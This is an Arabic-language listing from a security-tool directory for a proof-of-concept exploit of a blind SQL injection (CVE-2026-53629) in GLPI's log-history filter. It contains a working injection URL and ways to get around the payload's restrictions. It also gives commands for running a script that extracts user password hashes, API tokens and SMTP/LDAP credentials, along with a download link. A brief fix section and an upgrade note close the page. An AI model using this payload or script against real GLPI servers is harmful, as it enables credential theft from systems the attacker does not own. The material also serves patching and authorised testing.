Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
glpi-logbleed — PoC لـ CVE-2026-53629، حقن SQL أعمى في مرشح سجل التاريخ في GLPI | Kitploit
أدوات/GitHubGitHub/5kr1pt/glpi-logbleed
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتاختبار الاختراق
GitHub5kr1pt/glpi-logbleed

glpi-logbleed

PoC لـ CVE-2026-53629، حقن SQL أعمى في مرشح سجل التاريخ في GLPI

عرض المستودع
1منذ 24 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

glpi-logbleed

glpi-logbleed قيد التشغيل

حقن SQL أعمى في مرشّح سجل التاريخ في GLPI. CVE-2026-53629، تم إصلاحها في 11.0.8 و10.0.26، وكانت الثغرة موجودة منذ 9.4.0.

يتطلب أي حساب لديه حق READ على logs. ملف التعريف الافتراضي Read-Only يمتلك هذا الحق.

الإشعار: GHSA-cpcj-x335-5cmh الشرح: كيف وجدتها

الثغرة

Log::convertFiltersValuesToSqlCriteria() تقسّم مرشّح affected_fields إلى key:operator:values. التصحيح الخاص بـ CVE-2026-29047 تحقق من العامل وحوّل نوع فهرس المصفوفة، وترك $key دون تغيير.

DBmysqlIterator::analyseCrit() لا يضع علامات اقتباس حول OR وAND وNOT كأسماء أعمدة. بل يتنقل بشكل تكراري داخل قيمها، وينتهي ذلك التكرار عند فرع مهمل يعيد السلاسل النصية العادية كاستعلام SQL خام.

لذا، استخدام OR كمفتاح يُدخل ما تريد في جملة WHERE:

root@kitploit:~
/front/log/export.php?itemtype=Entity&id=0&filter[affected_fields][0]=OR::1 AND sleep(5)
root@kitploit:~
SELECT * FROM `glpi_logs`
WHERE `items_id` = '0' AND `itemtype` = 'Entity'
AND (((((1 AND sleep(5))))))

تبويب التاريخ يفعل الشيء نفسه عبر filters[affected_fields][0].

قيود الحمولة

explode(',', $values) يكسر أي شيء يحتوي على فاصلة، لذا فإن SUBSTRING(s,1,1) وIF(a,b,c) غير صالحين. بينما CASE WHEN ... THEN ... ELSE ... END وMID(s FROM n FOR 1) يؤديان المطلوب. القيم السداسية العشرية بدلاً من علامات الاقتباس، فالقيمة 0x676c7069 هي glpi.

تُنفَّذ الحمولة مرة واحدة لكل صف في glpi_logs، لذا يتضاعف زمن sleep. ستة صفوف مع sleep(5) تعني 30 ثانية. على خادم حقيقي اخفضها إلى 0.1 وإلا لن يعود الطلب أبدًا.

التشغيل

root@kitploit:~
pip install requests
python3 glpi_sqli_extract.py http://glpi.lab.local -u readonly -p readonly

يقرأ glpi_users.password حرفًا واحدًا في كل مرة عبر البحث الثنائي. استخدم --id لمستخدم آخر، و--sleep و--threshold للأهداف الأبطأ.

نفس الحيلة تقرأ api_token وpersonal_token وبيانات اعتماد SMTP وLDAP في glpi_configs.

الإصلاح

قم بالترقية. إذا لم تستطع، فقم بإزالة حق READ لسجلات logs من ملفات التعريف التي لا تحتاج إليه. أدرج المشروع الأم (upstream) المفتاح في القائمة المسموح بها:

root@kitploit:~
$allowed_keys = ['linked_action', 'id_search_option', 'itemtype_link'];
if (!in_array($key, $allowed_keys, true)) {
    continue;
}

نُشرت الأداة بعد صدور الإصلاح. لا تشغّلها على أشياء ليست ملكك.

تنزيل الأداة